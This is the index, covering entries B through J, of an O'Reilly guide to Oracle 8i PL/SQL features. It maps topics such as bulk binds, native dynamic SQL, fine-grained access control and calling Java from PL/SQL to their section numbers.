Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: B

BEFORE context, triggers : 6.2. Database-Level Event Triggers
BEFORE SHUTDOWN triggers : 6.2. Database-Level Event Triggers
BEGIN keyword : 4.6.3. Dynamic PL/SQL
binary large object (BLOB) : 7.5.2. DBMS_LOB: Working with Temporary LOBs
bind_argument expression, EXECUTE IMMEDIATE statement : 4.2.1. The EXECUTE IMMEDIATE Statement
binding
argument modes : 4.4.3. Argument Modes
concatenation, compared to : 4.4.1. Binding Versus Concatenation
limitations : 4.4.2. Limitations on Binding
BLOB (binary large object) : 7.5.2. DBMS_LOB: Working with Temporary LOBs
body size limits : 10.5.1. Dramatically Higher Limits on Body Size
building and compiling Java code : 9.2.2. Building and Compiling Your Java Code
bulk binds
1.3.4. Bulk Binds and Collects (Chapter 5, Bulking Up with PL/SQL 8.1)
5. Bulking Up with PL/SQL 8.1
BULK COLLECT clause
1.3.4. Bulk Binds and Collects (Chapter 5, Bulking Up with PL/SQL 8.1)
5. Bulking Up with PL/SQL 8.1
5.3. Bulk Querying with the BULK COLLECT Clause
5.5. Analyzing the Impact of Bulk Operations
bulk operations, PL/SQL 8.1 : 5.5. Analyzing the Impact of Bulk Operations
bulk querying
BULK COLLECT clause : 5.3. Bulk Querying with the BULK COLLECT Clause
bulk fetching of multiple columns : 5.3.2. Bulk Fetching of Multiple Columns
restricting bulk collection : 5.3.1. Restricting Bulk Collection with ROWNUM
RETURNING clause : 5.3.3. Using the RETURNING Clause with Bulk Operations
bulktiming.sql : 5.5. Analyzing the Impact of Bulk Operations

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: C

cache parameter, CREATETEMPORARY procedure : 7.5.2.1. CREATETEMPORARY: Creating a temporary LOB
CALL constant, DBMS_LOB package : 7.5.2.1. CREATETEMPORARY: Creating a temporary LOB
call specs : 9.8.1. Call Specs
cartridges : 2.3. When to Use Autonomous Transactions
CAST function : 10.3.2. The CAST Function
CAST...MULTISET operation
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
6.1. Triggers on Nested Table View Columns
character large object (CLOB) : 7.5.1. The TO_LOB Function
checking for specific errors, triggers : 6.2.1.4. Checking for specific errors
CHK_OPTION column, *_POLICIES data dictionary views : 8.4.3. Context Data Dictionary Views
CLASSPATH
9.2.1. Installing Java
9.3.2. Building a Custom Java Class
CLEAR_PLSQL_TRACE procedure, DBMS_TRACE package : 7.2.2. DBMS_TRACE Programs
client-side applications : 4.1. DBMS_SQL Versus NDS
CLOB (character large object) : 7.5.1. The TO_LOB Function
CLOSE statement, cursors : 4.3. Multirow Queries with Cursor Variables
collected data, formats : 7.2.4. Format of Collected Data
collections
4.2.1. The EXECUTE IMMEDIATE Statement
5. Bulking Up with PL/SQL 8.1
10.4. SQL Operations on Collections
COMMIT statement : 2.5.2. Using Autonomous Transactions in a Database Trigger
commits
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!)
2.3. When to Use Autonomous Transactions
COMMON schema : 4.6.1. Sharing NDS Programs with Invoker Rights
companion disk : A. Appendix: What's on the Companion Disk?
Companion Utilities Guide (diskette)
A. Appendix: What's on the Companion Disk?
About the Disk
compatible parameter, CREATE_QUEUE_TABLE procedure : 7.6.1. CREATE_QUEUE_TABLE and MIGRATE_QUEUE_TABLE: Setting Version Compatibility and Queue Migration
compiling and loading Java into Oracle : 9.3.3. Compiling and Loading into Oracle
concatenation versus binding : 4.4.1. Binding Versus Concatenation
context switching
1.3.4. Bulk Binds and Collects (Chapter 5, Bulking Up with PL/SQL 8.1)
5.1. Context-Switching Problem Scenarios
COPY procedure, DBMS_LOB package : 7.5.2.5. Managing temporary LOBs
COPY program, Oracle Developer's FormsBuilder : 4.6.3. Dynamic PL/SQL
countBy program, ndsutil.pkg file : 4.7. NDS Utility Package
CREATE ANY CONTEXT system privilege : 8.2. CREATE CONTEXT: Creating Contexts
CREATE ANY TRIGGER system privilege : 6.3. Schema-Level Event Triggers
CREATE CONTEXT statement : 8.1. FGAC Components
CREATE events
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
6. New Trigger Features in Oracle8i
CREATE JAVA statement : 9.1. Oracle8i and Java
CREATE statement : 6.3. Schema-Level Event Triggers
CREATE TABLE statement, dynamic SQL
4. Native Dynamic SQL in Oracle8i
4.2.1. The EXECUTE IMMEDIATE Statement
CREATE$JAVA$LOB$TABLE element, loadjava utility : 9.4. Using loadjava
CREATE_QUEUE_TABLE procedure, DBMS_AQADM package : 7.6.1. CREATE_QUEUE_TABLE and MIGRATE_QUEUE_TABLE: Setting Version Compatibility and Queue Migration
CREATETEMPORARY procedure, DBMS_LOB package : 7.5.2.1. CREATETEMPORARY: Creating a temporary LOB
cretemplob.sql file : 7.5.2.4. Example
cur%FOUND cursor attribute : 5.4. Using Cursor Attributes
cur%ISOPEN cursor attribute : 5.4. Using Cursor Attributes
cur%NOTFOUND cursor attribute : 5.4. Using Cursor Attributes
cur%ROWCOUNT cursor attribute : 5.4. Using Cursor Attributes
CURRENT_INSTANCE function, DBMS_UTILITY package : 7.7.1. CURRENT_INSTANCE: Returning the Instance Number
CURRENT_SCHEMA attribute, SYS_CONTEXT function : 8.4.1. The SYS_CONTEXT Function
CURRENT_SCHEMAID attribute, SYS_CONTEXT function : 8.4.1. The SYS_CONTEXT Function
CURRENT_USER option, AUTHID clause : 3.2.1. Invoker Rights Syntax
CURRENT_USERID attribute, SYS_CONTEXT function : 8.4.1. The SYS_CONTEXT Function
cursor attributes : 5.4. Using Cursor Attributes
cursor_variable, OPEN FOR statement : 4.2.2. The OPEN FOR Statement
cursors, storing in packages : 5.3. Bulk Querying with the BULK COLLECT Clause
custom Java classes, building : 9.3.2. Building a Custom Java Class

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: D

Data Definition Language (DDL)
1.3.3. Native Dynamic SQL (Chapter 4, Native Dynamic SQL in Oracle8i)
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
4.2.1. The EXECUTE IMMEDIATE Statement
data dictionary views : 8.4.3. Context Data Dictionary Views
Data Manipulation Language (DML)
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!)
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
database administrator (DBA)
7.6.2. System-Level Access Control
1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i)
database event publication feature : 6. New Trigger Features in Oracle8i
database logins, tracking : 6.2.1.2. Tracking logins to the database
database-level event triggers
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!)
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
6. New Trigger Features in Oracle8i
6.2. Database-Level Event Triggers
DATABASE_NAME attribute, database-level event
6.2. Database-Level Event Triggers
6.3. Schema-Level Event Triggers
datatype mappings, legal : 9.8.3. Mapping Datatypes
DBA_CONTEXT data dictionary view : 8.4.3. Context Data Dictionary Views
DBA_ERRORS data dictionary view : 9.6.2. Examining Loaded Java Elements
DBA_OBJECTS data dictionary view : 9.6.2. Examining Loaded Java Elements
DBA_POLICIES data dictionary view : 8.4.3. Context Data Dictionary Views
DBA_SEGMENTS data dictionary view : 7.5.2.5. Managing temporary LOBs
DBMS_AQ package
1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i)
7.6. New DBMS_AQ and DBMS_AQADM Features
DBMS_AQADM package : 7.6. New DBMS_AQ and DBMS_AQADM Features
DBMS_INDEXING package : 7. New and Enhanced Built-in Packages in Oracle8i
DBMS_JAVA package
1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i)
7. New and Enhanced Built-in Packages in Oracle8i
9.1. Oracle8i and Java
9.7. Using DBMS_JAVA and DBMS_JAVA_TEST
DBMS_JAVA_TEST package
7. New and Enhanced Built-in Packages in Oracle8i
9.1. Oracle8i and Java
9.7. Using DBMS_JAVA and DBMS_JAVA_TEST
9.7.5. Using DBMS_JAVA_TEST
DBMS_LOB package : 1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i)
DBMS_LOG_MNR package : 7. New and Enhanced Built-in Packages in Oracle8i
DBMS_LOG_MNR_D package : 7. New and Enhanced Built-in Packages in Oracle8i
DBMS_OUTPUT package
2.4.1. Using Autonomous Transactions from Within SQL
7.6.4.2. LISTEN: Listening for messages
DBMS_PIPE package
2.4.1. Using Autonomous Transactions from Within SQL
6.2.1.3. Trapping system errors
DBMS_PROFILER package
1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i)
7. New and Enhanced Built-in Packages in Oracle8i
DBMS_REPAIR package : 7. New and Enhanced Built-in Packages in Oracle8i
DBMS_REPCAT_FLA package : 7. New and Enhanced Built-in Packages in Oracle8i
DBMS_REPCAT_FLA_MAS package : 7. New and Enhanced Built-in Packages in Oracle8i
DBMS_REPCAT_FLA_UTL package : 7. New and Enhanced Built-in Packages in Oracle8i
DBMS_RESOURCE_MANAGER package : 7. New and Enhanced Built-in Packages in Oracle8i
DBMS_RESOURCE_MANAGER_PRIVS package : 7. New and Enhanced Built-in Packages in Oracle8i
DBMS_RLS package
1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i)
7. New and Enhanced Built-in Packages in Oracle8i
7.3. DBMS_RLS: Implementing Fine-Grained Access Control
8.1. FGAC Components
DBMS_RULE package : 7. New and Enhanced Built-in Packages in Oracle8i
DBMS_RULE_ADM package : 7. New and Enhanced Built-in Packages in Oracle8i
DBMS_RULE_EXIMP package : 7. New and Enhanced Built-in Packages in Oracle8i
DBMS_SPACE_ADMIN package : 7. New and Enhanced Built-in Packages in Oracle8i
DBMS_SQL compared to native dynamic SQL : 4.1. DBMS_SQL Versus NDS
DBMS_SQL package
1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? )
3.1.4. Dynamic SQL and Definer Rights
4.1. DBMS_SQL Versus NDS
DBMS_STATS package : 7. New and Enhanced Built-in Packages in Oracle8i
DBMS_SUMMARY package : 7. New and Enhanced Built-in Packages in Oracle8i
DBMS_TRACE package
1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i)
7. New and Enhanced Built-in Packages in Oracle8i
7.2. DBMS_TRACE: Providing a PL/SQL Trace Facility
DBMS_TTS package : 7. New and Enhanced Built-in Packages in Oracle8i
DBMS_UTILITY package
1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i)
7.7. New DBMS_UTILITY Features
dbmspbp.sql file : 7.1.2. Installing DBMS_PROFILER
DDL (Data Definition Language)
1.3.3. Native Dynamic SQL (Chapter 4, Native Dynamic SQL in Oracle8i)
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
4.2.1. The EXECUTE IMMEDIATE Statement
deadlock example : 2.4. Rules and Restrictions
DECLARE statement : 4.6.3. Dynamic PL/SQL
deep copies : 7.5.2.5. Managing temporary LOBs
define_variable, EXECUTE IMMEDIATE statement : 4.2.1. The EXECUTE IMMEDIATE Statement
definer rights models : 7.3.4. ADD_POLICY: Adding a Policy
DEL column, *_POLICIES data dictionary views : 8.4.3. Context Data Dictionary Views
DELETE statement
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
3.2.2. Some Rules and Restrictions
4. Native Dynamic SQL in Oracle8i
6. New Trigger Features in Oracle8i
deleting files from PL/SQL : 9.3.5. Deleting Files from PL/SQL
DEQUEUE option, GRANT_QUEUE_PRIVILEGE procedure : 7.6.3.1. GRANT_QUEUE_PRIVILEGE: Granting queue-level privileges
DEQUEUE procedure, DBMS_AQ package : 7.6.4.2. LISTEN: Listening for messages
DEQUEUE_ANY option, GRANT_SYSTEM_PRIVILEGE procedure : 7.6.2.1. GRANT_SYSTEM_PRIVILEGE: Granting system-level privileges
DES_ENCRYPTED_PASSWORD attribute, schema-level event : 6.3. Schema-Level Event Triggers
DETERMINISTIC keyword
1.3.9. Miscellaneous New Features and Performance Improvements (Chapter 10, More Goodies for Oracle8i PL/SQL Developers)
10.2.2.2. Deterministic functions
DICTIONARY_OBJ_NAME attribute, schema-level events : 6.3. Schema-Level Event Triggers
DICTIONARY_OBJ_OWNER attribute, schema-level events : 6.3. Schema-Level Event Triggers
DICTIONARY_OBJ_TYPE attribute, schema-level events : 6.3. Schema-Level Event Triggers
diffcount.sql file : 5.2. Bulk DML with the FORALL Statement
directory contents, obtaining : 9.9.1.2. Obtaining directory contents
disk accompanying book : A. Appendix: What's on the Companion Disk?
DML (Data Manipulation Language)
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!)
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
DROP JAVA statement : 9.1. Oracle8i and Java
DROP statement
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
6. New Trigger Features in Oracle8i
6.3. Schema-Level Event Triggers
DROP_POLICY procedure, DBMS_RLS package
7.3.2. DBMS_RLS Programs
7.3.6. DROP_POLICY: Dropping a Policy
dropjava utility
9.1. Oracle8i and Java
9.5. Using dropjava
duplicate placeholders : 4.4.4. Duplicate Placeholders
duplicate placeholders, native dynamic SQL : 4.4.4. Duplicate Placeholders
dur parameter, CREATETEMPORARY procedure : 7.5.2.1. CREATETEMPORARY: Creating a temporary LOB
dynamic cursors : 4.1. DBMS_SQL Versus NDS
dynamic ids : 9.2.3. Setting Oracle Privileges
dynamic PL/SQL : 4.6.3. Dynamic PL/SQL
dynamic SQL
blocks, scope of variables : 4.6.3. Dynamic PL/SQL
cursors, reusing : 4.1. DBMS_SQL Versus NDS
Method 4 : 4.1. DBMS_SQL Versus NDS
dynPLSQL program, ndsutil.pkg file : 4.7. NDS Utility Package
dynplsql.sp : 4.6.3. Dynamic PL/SQL
dynvar.pkg file : 4.6.3. Dynamic PL/SQL

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: E

EJB (Enterprise JavaBeans)
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL)
9.1. Oracle8i and Java
EMPTY_BLOB function : 7.5.2. DBMS_LOB: Working with Temporary LOBs
EMPTY_CLOB function : 7.5.2. DBMS_LOB: Working with Temporary LOBs
ENABLE column, *_POLICIES data dictionary views : 8.4.3. Context Data Dictionary Views
enable parameter, ADD_POLICY procedure : 7.3.2. DBMS_RLS Programs
ENABLE_POLICY procedure, DBMS_RLS package
7.3.2. DBMS_RLS Programs
7.3.5. ENABLE_POLICY: Enabling or Disabling a Policy
encapsulation : 2.5.1. Building an Autonomous Logging Mechanism
ENQUEUE option, GRANT_QUEUE_PRIVILEGE procedure : 7.6.3.1. GRANT_QUEUE_PRIVILEGE: Granting queue-level privileges
ENQUEUE procedure, DBMS_AQ package
6.2. Database-Level Event Triggers
6.2.1.2. Tracking logins to the database
ENQUEUE_ANY option, GRANT_SYSTEM_PRIVILEGE procedure : 7.6.2.1. GRANT_SYSTEM_PRIVILEGE: Granting system-level privileges
Enterprise JavaBeans (EJB)
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL)
9.1. Oracle8i and Java
error handling, native dynamic SQL : 4.6.2. Error Handling
ERROR_IO return code, DBMS_PROFILER package : 7.1.4. Profiler Return Codes
ERROR_PARM return code, DBMS_PROFILER package : 7.1.4. Profiler Return Codes
ERROR_VERSION return code, DBMS_PROFILER package : 7.1.4. Profiler Return Codes
errors, trapping system : 6.2.1.3. Trapping system errors
exception handling, Java : 9.8.5. Exception Handling with Java
exception tracing : 7.2.3. Controlling Trace File Contents
execImmed program, ndsutil.pkg file : 4.7. NDS Utility Package
EXECUTE authority : 4.6.1. Sharing NDS Programs with Invoker Rights
EXECUTE IMMEDIATE statement, native dynamic SQL
1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? )
3.2.2. Some Rules and Restrictions
4.2.1. The EXECUTE IMMEDIATE Statement
4.6.2. Error Handling
EXECUTE_CATALOG_ROLE : 8.1. FGAC Components
EXPORT_CLASS procedure, DBMS_JAVA package
9.7. Using DBMS_JAVA and DBMS_JAVA_TEST
9.7.4. EXPORT_SOURCE, _RESOURCE, and _CLASS: Exporting Schema Objects
EXPORT_RESOURCE procedure, DBMS_JAVA package
9.7. Using DBMS_JAVA and DBMS_JAVA_TEST
9.7.4. EXPORT_SOURCE, _RESOURCE, and _CLASS: Exporting Schema Objects
EXPORT_SOURCE procedure, DBMS_JAVA package
9.7. Using DBMS_JAVA and DBMS_JAVA_TEST
9.7.4. EXPORT_SOURCE, _RESOURCE, and _CLASS: Exporting Schema Objects
extending file I/O capabilities : 9.9.1. Extending File I/O Capabilities
external references : 3.1. A Look at the Definer Rights Model

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: F

FETCH INTO clause : 5.3. Bulk Querying with the BULK COLLECT Clause
FETCH statement, native dynamic SQL : 4.3.1. FETCH into Variables or Records
FGAC (fine-grained access control)
1.3.7. Fine-Grained Access Control (Chapter 8, Deploying Fine-Grained Access Control)
7.3. DBMS_RLS: Implementing Fine-Grained Access Control
components : 8.1. FGAC Components
context attribute values, setting : 8.3. SET_CONTEXT: Setting Context and Attribute Values
context data dictionary views : 8.4.3. Context Data Dictionary Views
context for schema, setting : 8.5.2. Setting the Context for the Schema
context information, obtaining : 8.4. SYS_CONTEXT and LIST_CONTEXT: Obtaining Context Information
creating contexts : 8.2. CREATE CONTEXT: Creating Contexts
debugging : 8.5.6. Debugging FGAC Code
example : 8.5. A Complete FGAC Example
list of defined context attributes, obtaining : 8.4.2. LIST_CONTEXT: Obtaining the List of Defined Context Attributes
LOGON triggers, setting up, : 8.5.5. Setting Up the LOGON Trigger
overview : 8. Deploying Fine-Grained Access Control
policies, defining : 8.5.4. Defining the Policy
predicates, defining : 8.5.3. Defining the Predicate
security packages, creatinging : 8.5.1. Creating the Security Package
fgac.sql file : 8.5. A Complete FGAC Example
FOR loops
1.3.4. Bulk Binds and Collects (Chapter 5, Bulking Up with PL/SQL 8.1)
5.3.3. Using the RETURNING Clause with Bulk Operations
5.5. Analyzing the Impact of Bulk Operations
7.4. UTL_COLL: Using Collection Locators
FOR UPDATE : 4.5. Working with Objects and Collections
FORALL statement
5.5. Analyzing the Impact of Bulk Operations
5.2. Bulk DML with the FORALL Statement
1.3.4. Bulk Binds and Collects (Chapter 5, Bulking Up with PL/SQL 8.1)
5. Bulking Up with PL/SQL 8.1
5.3.3. Using the RETURNING Clause with Bulk Operations
forallerr.sql file : 5.2.2. ROLLBACK Behavior with FORALL
FREETEMPORARY procedure, DBMS_LOB package : 7.5.2.2. FREETEMPORARY: Freeing the temporary LOB
FUNCTION column, *_POLICIES data dictionary views : 8.4.3. Context Data Dictionary Views
function_schema parameter, ADD_POLICY procedure : 7.3.4. ADD_POLICY: Adding a Policy

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: G

generic calculator function : 4.6.3.2. Generic calculator function
generic GROUP BY package, native dynamic SQL : 4.3.4. Generic GROUP BY Package
generic GROUP BY procedure, native dynamic SQL : 4.3.3. Generic GROUP BY Procedure
GET_COMPILER OPTION function, DBMS_JAVA package : 9.7.2. GET_, SET_, and RESET_COMPILER OPTIONS: Getting and Setting Compiler Options
getAttributes method : 9.9.2. Passing Objects to Java
global scope : 4.6.3. Dynamic PL/SQL
GRANT EXECUTE statement : 1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? )
grant operations, AQ : 7.6.2. System-Level Access Control
GRANT statement : 7.6.2. System-Level Access Control
GRANT_QUEUE_PRIVILEGE procedure, DBMS_AQADM package : 7.6.3. Queue-Level Access Control
GRANT_SYSTEM_PRIVILEGE procedure, DBMS_AQADM package : 7.6.2.2. REVOKE_SYSTEM_PRIVILEGE: Revoking system-level privileges
grantee parameter, GRANT_SYSTEM_PRIVILEGE procedure : 7.6.2.1. GRANT_SYSTEM_PRIVILEGE: Granting system-level privileges

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: H

HAVING clause, SELECT statement : 4.3.3. Generic GROUP BY Procedure
host arrays : 5.1. Context-Switching Problem Scenarios

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: I

i FS(Internet File System) : 1.1. What's in Oracle8i Release 8.1?
IN mode, bind argument : 4.4.3. Argument Modes
IN OUT mode, bind argument : 4.4.3. Argument Modes
index-by tables
4.1. DBMS_SQL Versus NDS
5.1. Context-Switching Problem Scenarios
index_row variable, FORALL statement : 5.2. Bulk DML with the FORALL Statement
indirect referencing : 4.6.3. Dynamic PL/SQL
Informix : 1.2. And Then There's Java
INIT.ORA initialization file : 2.4. Rules and Restrictions
INS column, *_POLICIES data dictionary views : 8.4.3. Context Data Dictionary Views
INSERT statement
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
3.2.2. Some Rules and Restrictions
6. New Trigger Features in Oracle8i
INSTANCE_NUM attribute, database-level event : 6.2. Database-Level Event Triggers
INSTEAD OF triggers : 6.1. Triggers on Nested Table View Columns
interMedia : 1.1. What's in Oracle8i Release 8.1?
Internet File System (i FS) : 1.1. What's in Oracle8i Release 8.1?
INTO clause
1.3.4. Bulk Binds and Collects (Chapter 5, Bulking Up with PL/SQL 8.1)
4.2.1. The EXECUTE IMMEDIATE Statement
EXECUTE IMMEDIATE statement : 4.2.1. The EXECUTE IMMEDIATE Statement
invoker rights
1.1. What's in Oracle8i Release 8.1?
1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? )
combining with definer rights model : 3.4. Combining the Definer and Invoker Rights Models
definer rights model : 3.1. A Look at the Definer Rights Model
dynamic SQL and definer rights : 3.1.4. Dynamic SQL and Definer Rights
overview : 3.2. The Invoker Rights Model
rules and restrictions : 3.2.2. Some Rules and Restrictions
schemas : 3.3. One Program, Multiple Schemas
sharing NDS programs with : 4.6.1. Sharing NDS Programs with Invoker Rights
syntax : 3.2.1. Invoker Rights Syntax
IP_ADDRESS attribute, SYS_CONTEXT function : 8.4.1. The SYS_CONTEXT Function
IS keyword : 1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? )
IS_LOCATOR function, UTL_COLL package : 7.4. UTL_COLL: Using Collection Locators
IS_SERVERERROR attribute, database-level event : 6.2. Database-Level Event Triggers
isolation levels : 2.4.2. Transaction Visibility
ISTEMPORARY procedure, DBMS_LOB package : 7.5.2.3. ISTEMPORARY: Is it a temporary LOB?

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: J

Java
building and compiling code : 9.2.2. Building and Compiling Your Java Code
call specs : 9.8.1. Call Specs
compiling and loading into Oracle : 9.3.3. Compiling and Loading into Oracle
custom classes, building : 9.3.2. Building a Custom Java Class
DBMS_JAVA package : 9.7. Using DBMS_JAVA and DBMS_JAVA_TEST
DBMS_JAVA_TEST package
9.7. Using DBMS_JAVA and DBMS_JAVA_TEST
9.7.5. Using DBMS_JAVA_TEST
deleting files from PL/SQL : 9.3.5. Deleting Files from PL/SQL
dropjava utility : 9.5. Using dropjava
exception handling : 9.8.5. Exception Handling with Java
extending file I/O capabilities : 9.9.1. Extending File I/O Capabilities
functionality : 9.3.1. Finding the Java Functionality
installing : 9.2. Getting Ready to Use Java in Oracle
Java Virtual Machine
1.1. What's in Oracle8i Release 8.1?
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL)
9.1. Oracle8i and Java
loaded java elements, examining : 9.6.2. Examining Loaded Java Elements
loadjava utility : 9.4. Using loadjava
mapping datatypes : 9.8.3. Mapping Datatypes
methods, calling in SQL : 9.8.4. Calling a Java Method in SQL
Oracle privileges, setting : 9.2.3. Setting Oracle Privileges
passing objects to : 9.9.2. Passing Objects to Java
PL/SQL
1.2. And Then There's Java
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL)
using inside databases : 5. Bulking Up with PL/SQL 8.1
wrappers
9.3.4. Building a PL/SQL Wrapper
9.8.2. Some Rules for Java Wrappers
Java Database Connectivity (JDBC) : 1.1. What's in Oracle8i Release 8.1?
Java Integrated Development Environment
JDeveloper, a Java(TM) Integrated Development Environment : 1.1. What's in Oracle8i Release 8.1?
Java methods, calling in SQL : 9.8.4. Calling a Java Method in SQL
Java stored procedures (JSP) : 1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL)
Java Virtual Machine : (see JVM (Java Virtual Machine))
JAVA$CLASS$MD5$TABLE table, loadjava utility : 9.4. Using loadjava
java.math.* classes : 9.9.2. Passing Objects to Java
javac, java compiler : 9.2.1. Installing Java
JAVASYSPRIV role : 9.2.3. Setting Oracle Privileges
JAVAUSERPRIV role : 9.2.3. Setting Oracle Privileges
JDBC (Java Database Connectivity) : 1.1. What's in Oracle8i Release 8.1?
JDelete class
9.3.2. Building a Custom Java Class
9.9.1.1. Polishing up the delete method
JDK (Java Development Kit) : 9.2. Getting Ready to Use Java in Oracle
JFile.java file : 9.9.1. Extending File I/O Capabilities
JPublisher utility : 9.1. Oracle8i and Java
JServer Accelerator : 1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL)
JSP (Java stored procedures) : 1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL)
JVM (Java Virtual Machine)
1.1. What's in Oracle8i Release 8.1?
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL)
9.1. Oracle8i and Java

